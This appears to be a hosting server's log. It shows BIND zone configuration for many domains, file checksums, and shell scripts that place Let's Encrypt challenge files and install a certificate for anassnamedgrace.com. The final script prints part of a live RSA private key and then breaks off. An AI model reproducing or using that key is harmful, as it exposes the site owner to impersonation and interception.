include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online
include "954ebedf55cc0740293342780846a6cd.conf"; # persianchurch.info
include "3d53240606bf6359dd62d3ebf20afc18.conf"; # patientapps.com
include "cf381d1fff06090b5818429e32e6000e.conf"; # 
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org
include "26d0b9e50bf0aadee17752807d692a2e.conf"; # anassnamedgrace.com


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf	216
# this is an automatically created file: manual changes will be overwritten.
zone "anassnamedgrace.com" IN {
  ##owner 0;
  type master;
  file "26d0b9e50bf0aadee17752807d692a2e.txt";
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt	450
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
anassnamedgrace.com.     		 IN    SOA      	anassnamedgrace.com. hostmaster.anassnamedgrace.com. ( 136272390 14400 3600 14400 3600 )
anassnamedgrace.com.     		 IN    NS       	ns1.hostz.org.
anassnamedgrace.com.     		 IN    NS       	ns2.hostz.org.
anassnamedgrace.com.      60	 IN    A        	46.102.157.183
www.anassnamedgrace.com.  60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-13 14:46:16: Establishing a connection
2026-06-13 14:46:16: Establishing a connection
2026-06-13 14:46:17: 

PUT: /tmp/pkp382660

#!/bin/bash
if [ -d "/var/www/anassnamedgrace_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-13 14:46:17: 

chmod 755 /tmp/pkp382660; /tmp/pkp382660; rm /tmp/pkp382660

2026-06-13 14:46:17: 


1


2026-06-13 14:46:19: Establishing a connection
2026-06-13 14:46:19: 

PUT: /tmp/pkp637374

#!/bin/bash
mkdir -p "/var/www/anassnamedgrace_www/.well-known/acme-challenge/"
cd "/var/www/anassnamedgrace_www/.well-known/acme-challenge/"
cat > p81fNht1fL0nGY7XFezpuy4Ldl35-rHMAMoynN8UY4Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
p81fNht1fL0nGY7XFezpuy4Ldl35-rHMAMoynN8UY4Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 p81fNht1fL0nGY7XFezpuy4Ldl35-rHMAMoynN8UY4Y
cat > Z7G0mFflclx65rQYNJLtptbyxGHD-81OTVvIZjgArG8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Z7G0mFflclx65rQYNJLtptbyxGHD-81OTVvIZjgArG8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Z7G0mFflclx65rQYNJLtptbyxGHD-81OTVvIZjgArG8


2026-06-13 14:46:19: 

chmod 755 /tmp/pkp637374; /tmp/pkp637374; rm /tmp/pkp637374

2026-06-13 14:46:19: 




2026-06-13 14:46:25: Establishing a connection
2026-06-13 14:46:25: 

PUT: /tmp/pkp975957

#!/bin/bash
mkdir -p "/var/www/anassnamedgrace_www/.well-known/acme-challenge/"
cd "/var/www/anassnamedgrace_www/.well-known/acme-challenge/"
rm p81fNht1fL0nGY7XFezpuy4Ldl35-rHMAMoynN8UY4Y
rm Z7G0mFflclx65rQYNJLtptbyxGHD-81OTVvIZjgArG8


2026-06-13 14:46:25: 

chmod 755 /tmp/pkp975957; /tmp/pkp975957; rm /tmp/pkp975957

2026-06-13 14:46:25: 




2026-06-13 14:46:25: Establishing a connection
2026-06-13 14:46:25: 

PUT: /tmp/pkp842797

#!/bin/bash
temp_file=$(mktemp)
TARGET=a86a725f22b47d8df1b5d61e4e299a76.crt

cat > $temp_file <<'endmsg'
d4:ae:40:db:21:55:15:46:14:31:87:1d:9c:32:07:64

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBQlQbRiWJNlHiEn/Zw8E1VyXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjEzMTM0NzU0WhcNMjYwOTExMTM0NzUzWjAeMRwwGgYDVQQD
ExNhbmFzc25hbWVkZ3JhY2UuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqp9lTykx/2SAoRqDNHDrJfnA2YpwfAreaFroYKD91+hZ/zMKwxP3fCK1
tBzTblha8vRWmjzB2aVfXC/RlcAyyewcqhXqEYf9a0OnNFaPpsW626ORSTtLRfju
08bWnISE5baFp+JOXaG9jF2RxAkxqTS2yJpheW68LxcD20dv0F/OxyZqGpnHf7gI
IWaFItYnHbCWm94xc5CeqIdjFsh04V4e19MO+AzPI7mkff7AS+87l6vmxUmhjq/1
49a2YUBdgRTod3CJTroxwSSmuAvO2hC8+fN1gc3xiMz6AfxRtkWo8iUH2JCkRv7J
xgtY83MnvDKku2+2pr12rx+AcM4qzQIDAQABo4ICOjCCAjYwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FOpBSOUe5QHqUg9vZwaXKgmunTgAMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITYW5hc3NuYW1lZGdyYWNlLmNvbYIXd3d3
LmFuYXNzbmFtZWRncmFjZS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yNC5jcmwwggEMBgor
BgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa
2Q5SzQAAAZ7BcsTAAAAEAwBHMEUCIBFlVxqkfV0bDQK9J7izg/UeJVmHk4kK9NKL
Rr3TnZf6AiEA19aM6hRuUKX+ClgVArhmXtLQkhFfJykxrNs/Sn4/WFkAfgBGr4Y9
Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ7BcsU8AAgAAAUACZ6fvAQD
AEcwRQIgE3oVoQpvQaleE0G3t46XZryTl+XtXJnURvxHePPBwXsCIQDHHRWKWz06
jhgTbnRsB1Ze9/D3YJ54KEqnmVBrXru32zANBgkqhkiG9w0BAQsFAAOCAQEAD+Zf
uU56FL1pVPMiziVjyNoN5jOKsGGPcO2CrmOPjj4WZOasmmnQzyllYQOIgr5fUeMd
5IWHq8HPGBZApsyHL5XzXIe3UZqqSlreMwyBfHPGlWnWcEokMmKRtQb5QxUQPTkj
Mw4VyFV5zq0fmP5ECD1WA7npX1ozeYDMMgvJPeEpPL4amh4xBBv6IU/uXVlNiHBi
zPI6GQlk+uqQsJIv+6inbZuz17HW0WIcDRu2zpMCANH5xPTAMMNveIqGprQW/WR7
u1/CNNTdyNJqWYr48+6auJYfdBHuJ0MTkumzNGVQY1XH2w6R+4sCFnWt9i7SZTY3
SO0cxfWLcp8hvUWBtA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqn2VPKTH/ZICh
GoM0cOsl+cDZinB8Ct5oWuhgoP3X6Fn/MwrDE/d8IrW0HNNuWFry9FaaPMHZpV9c
L9GVwDLJ7ByqFeoRh/1rQ6c0Vo+mxbrbo5FJO0tF+O7TxtachITltoWn4k5dob2M
XZHECTGpNLbImmF5brwvFwPbR2/QX87HJmoamcd/uAghZoUi1icdsJab3jFzkJ6o
h2MWyHThXh7X0w74DM8juaR9/sBL7zuXq+bFSaGOr/Xj1rZhQF2BFOh3cIlOujHB
